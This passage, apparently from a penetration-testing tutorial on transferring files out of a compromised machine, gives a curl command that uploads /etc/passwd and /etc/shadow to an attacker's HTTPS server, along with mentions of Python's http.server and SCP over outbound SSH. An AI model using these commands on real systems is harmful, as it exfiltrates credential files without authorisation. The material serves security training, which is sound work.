Now, from the compromised machine we send a post request:
curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure
We used the option --insecure because we used a self-signed certificate that we trust.
We can also use SimpleHTTPserver:
python3 -m http.server
SCP Uploads
We may find some companies that allow the SSH protocol (TCP/22) for outbound connections, and if that's the case, we can use an SSH server with the scp utility to upload files.